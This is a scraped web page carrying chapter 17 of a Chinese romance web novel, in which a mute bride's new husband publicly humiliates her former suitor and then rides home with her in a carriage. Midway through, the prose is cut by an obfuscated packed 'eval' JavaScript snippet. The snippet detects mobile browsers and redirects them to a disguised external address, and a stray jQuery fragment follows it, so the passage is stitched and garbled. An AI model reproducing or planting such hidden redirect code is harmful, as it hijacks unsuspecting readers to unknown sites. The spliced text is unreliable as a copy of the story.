17. 第十七章 替身
作品:《引春光(先婚后爱)》 那声音如清泉淌过石上,干净又澄澈,话语间带着疏离,显得有些淡漠。
如此悦耳的声音引得棠月闻声望去,映入她眼帘的是一张与声音相符合的英俊面庞。
其人眉清目秀,身姿周正,神色却温润如玉,斯文儒雅。
见常砚走来,棠月原先紧搂的双手默默松了些。
谢琛注意到她的动作,眉头不自觉锁紧几分,偏过头去与徐徐走来的男子对视。
“等了你许久,办完事了?为何不回马车上,反而站在这里。”常砚走近易鸢,单手搂过她的肩,语态亲昵道:“碰见熟人了?”
怎么回事,他不是早离开了吗。
两人近到易鸢能清楚地感知对方的呼吸,他身上总带着一股清雅的香,似书卷墨香混着松枝冷意,让人安心。
她动了动被常砚围住的肩膀,内心一万头小鹿乱撞,耳尖爬上一抹绯色。
太近的距离。
众目睽睽之下,她与他搂搂抱抱,对面还站着两个她厌恶的人。
感受到怀中之人的慌乱,常砚轻轻抬手摸了摸她的头顶,安抚一番。
常砚周身自带一股疏离的冷意,淡如高山积雪,望着便叫人不敢唐突,而此刻面上挂着柔情,与易鸢姿势亲昵,这种反差让对面两人一时没反应过来。
棠月顿了顿,目光从常砚脸上移开,看向易鸢压着嗓子说:“这便是易小姐的新婚夫婿吧?果真是一表人才。”
夫妻两个含情脉脉地望着对方,无人搭理这个抛出话题的女子。
周围看热闹的人越来越多,有几个女子指着棠月相视一笑,其中一人笑得太大声,被她剜了一记眼神刀,吓得那人连连闭嘴。
见自己被忽视,棠月心头涌上一股火气,碍于面子她忍了下去,面上的温柔不复从前,盯着易鸢的眸子暗了下去,面色扭曲。
一言不发的谢琛在此时冷哼一声,道:“易鸢,你不是心悦于我吗?这么快便变心,你的情就如此虚假?”
易鸢有时气不过为何自己发不出声,用手语又像对牛弹琴,她撇过眼不屑看他。
谢琛瞧她那模样,以为她被自己说得心虚,继续道:“你就这么着急把自己嫁出去吗?也不挑,找个微不足道,毫无家世背景的男子就满足了。”
他得意洋洋地看着易鸢,竟从她眼中看出一丝嫌恶。
易鸢本不想与他有过多牵扯,找准机会便带常砚离开,不曾想他竟口不择言攻击起常砚这个无辜的人。她有些怒气上头,自己当初真是色令智昏,看上这样轻浮的男子。
她担忧地看向常砚,他不会因为他的话而伤到自尊吧。
属实是易鸢想多了。
常砚始终是那副柔情模样,不但没有因谢琛的话受影响,反而扬起眉毛洋洋道:“鸢鸢,这便是你说的那个性格与我相像的郎君?欸,你是不是对我有什么误解,我哪儿是这般粗鲁。”
他又摸了摸易鸢的头,嘴角勾起一抹笑,释怀着说:“无妨,你既已嫁我为妻,日常点滴足够你好好了解我,这些赝品也就不需要了。”
易鸢听完,双眼瞪大,一脸不可思议地看着这个正风轻云淡搂着自己的男子,他的语气仍然轻柔如泉,可说出的话实在炸裂,让易鸢大吃一惊。
常砚长得温润如玉一本正经,没曾想还有这样一面。
不仅仅是当事人震惊,周围看热闹的行人也纷纷感叹。
“这人人都说是小谢少甩了易家小姐,可这位公子方才所说,与京中传言不符啊。”
“看易家小姐和郎君情意绵绵十分恩爱,倒不像是传闻中那样。”
“小谢少脸都红了!”
谢琛骤然失了分寸,眼底翻涌着怒与慌,再难维持那副得意模样。
他质问:“此话何意?你说我是替身?我与她相识三年,你才同她认识几日!你搞搞清楚,到底谁才是替身。”
说罢,他似乎想求得易鸢的证实,对她喊道:“你莫告诉我,他说的是真的。”
常砚这般替自己解围,易鸢自是不能辜负。
她毫不犹豫地反挽住常砚的手臂,小猫似的用脑袋轻蹭了一番,手上的力度加重,圈得更紧了些,她点了点脚尖,凑近他,鼻尖触碰到常砚的脸颊,那冰凉的触感激得她往后退,眼含笑意地与常砚对视。
易鸢这一些列动作便算回答了谢琛的质疑,让他肯定自己就是常砚的替身。
立在原地的棠月视线在两男子之间来回停留,眼中带着说不清道不明的复杂情绪。
常砚脸上的笑意愈深,补充道:“谢公子,不然你说,你与她相识三年,为何最后一年她才接纳你?前两年我正潜心准备科考,无暇其他,这第三年我方考取功名。”
“她等我许久,我也努力不负她的情。”
最后一句话犹如天雷直劈谢琛的心脏,不是他有多喜欢易鸢,而是他认为自己的自尊受到侮辱。
易鸢,一个人人嫌弃的哑巴,放着自己这般家世背景无一不好的世子不喜欢,跑去喜欢一个微不足道的穷书生,还把自己当作是他的替身,简直可笑。
谢琛认为常砚说的话不容置疑,他与易鸢逢场作戏三年,两人并非一开始就互通心意,而是他单方面追了两年,等到第三年,易鸢突然回心转意接纳了他,当时他单纯地以为易鸢瞎了的眼终于复明,却没想到这一层。
他想起某一日,他问易鸢:“阿鸢,你喜欢什么样的郎君?”
易砚犹豫一番,回答他:“足够温润的。”
他为了快速获取易鸢的放心,就花了点心思扮演一个温柔有礼的男子,这一扮便是三年,他早就厌恶了自己这副模样,那夜被易鸢撞破他和自己真正喜欢的人私会后,他回家大闹一番,说什么也不肯再娶易鸢,一定要娶棠月为妻,最后父母还是应允。
他急不可耐,当晚便让小厮送去婚书,将这婚事作罢。
易鸢在内心感叹,常砚编瞎话的能力如此高超,这番自夸的话讲出来还能做到脸不红心不跳。
不过也算狠狠地挫了挫谢琛的锐气,让他这般自信。
谢家马车被行人围得动弹不得,眼瞧着看热闹的人越聚越多,再在这里与易鸢争辩怕是会惹得众人非议,棠月用力扯一扯谢琛的手臂,在他耳边轻声道:“阿琛,人越来越多,我们要不走吧?”
谢琛发狠地瞪着眼前从容不迫的常砚,势要将他生吞活剥。棠月无奈地牵着他的手,快步将他拉离这个是非之地。
她只觉得是十分丢脸,今日本是让谢琛陪着自己来逛逛玉轩阁定制些玉器首饰,谁曾想碰到易鸢在此,易鸢命还是太好,搭上这么个俊俏郎君,倒真叫她得意。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17263059|197722||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“看什么看!都散了啊!”她怒气冲冲地吆喝着,原先保持的淑女之姿瞬间消失,周围人被她喊地四散开来。
两人坐回马车,谢琛目视前方一言不发。
棠月在心底抱怨,多大点气量,那郎君说两句就气的不行?
她仔细打量着谢琛,他长得俊俏,家世背景也好,哪里比不上那个郎君?这样一对比,棠月心底又雀跃起来,易鸢的夫婿除了长相一无是处,而谢琛可是她亲手从易鸢手里抢过来的,易鸢怕是气不过才找这么个男子来气谢琛。
热闹看尽,行人散得七七八八。
易鸢被常砚牵着越过街道,上了马车。
天色昏暗,密闭的马车里一片安静,只剩下烛火闪动。
此时易鸢心里有一万个疑问想问问他,见他垂眸不语,她不敢贸然乱动。
常砚不是很早就回去了吗,怎么会出现在玉轩阁门口。
他又为何知晓自己与谢琛的那点往事?莫不是找人偷偷调查自己。
罢了罢了,不管怎么说,他都在今日替自己解了围,被他知道点往事又如何,也不是什么值得珍藏的回忆。
这是他第二次替她说话......上一次还是在易府。
他总是在她难堪的时候出现,替她解围,护住她的尊严。
怎么样也得跟常砚说声“谢谢”。
她抬起垂下的脑袋,偷偷打量对面正襟危坐的男子,水灵灵的双眼眨巴眨巴,头上的珠钗随着动作发出细微声响。
“你有话要说?”察觉她微小动作的男子柔声道。
易鸢不再掩饰,鼓起勇气坐到常砚身旁,转过身子对着他做手势:
[你不是回府了吗?为何突然出现。]
她怕常砚看不懂她的手语,刻意放慢速度,重复几遍动作。
常砚也侧过头,对上她疑惑的眼神,“没走,车停在街边。”
[为什么不先走?你在马车上坐了一个时辰吗。]
“嗯,想等你一起回府。”他应了一声,回答得泰然自若,仿佛这没什么值得惊讶,只是一件很平常的事。
易鸢却不这么觉得,她心一颤,脑海中浮想联翩。
好亲呢的回答,好似他们是真夫妻一般,旁人听了会误会他们恩爱有加吧。
但她与常砚虽有夫妻之实,却无夫妻之情。当初常砚可是亲自来找她,要和她划清界限......
易鸢挥去脑海中两人恩爱的画面,告诫自己:你们是假夫妻,没有真感情,他三番两次对你好,只是因为他这个人本身就很好!不是因为他心悦于你。
她抬眼看常砚,他仍是那副平静模样。
易鸢再次垂下头,心中莫名有股说不出的躁意。
常砚左手抚住腰带上挂着的素白荷包,用余光观察眼前失落的易鸢。
她怎么了,莫不是今日看见昔日心悦过的人带着别的女子逛街,心生醋意?
这该如何是好,他从未哄过女子,这比读书作赋还伤脑经。
常砚心里想着,没注意手上的动作,将素白荷包捏得变形。
思虑许久,他幽幽开口:“今日之事,你莫多想,就当没发生过。”
易鸢吸吸鼻子,咬着唇点头。
他帮助她只是举手之劳,其实他对自己没有任何别的心思,对么。

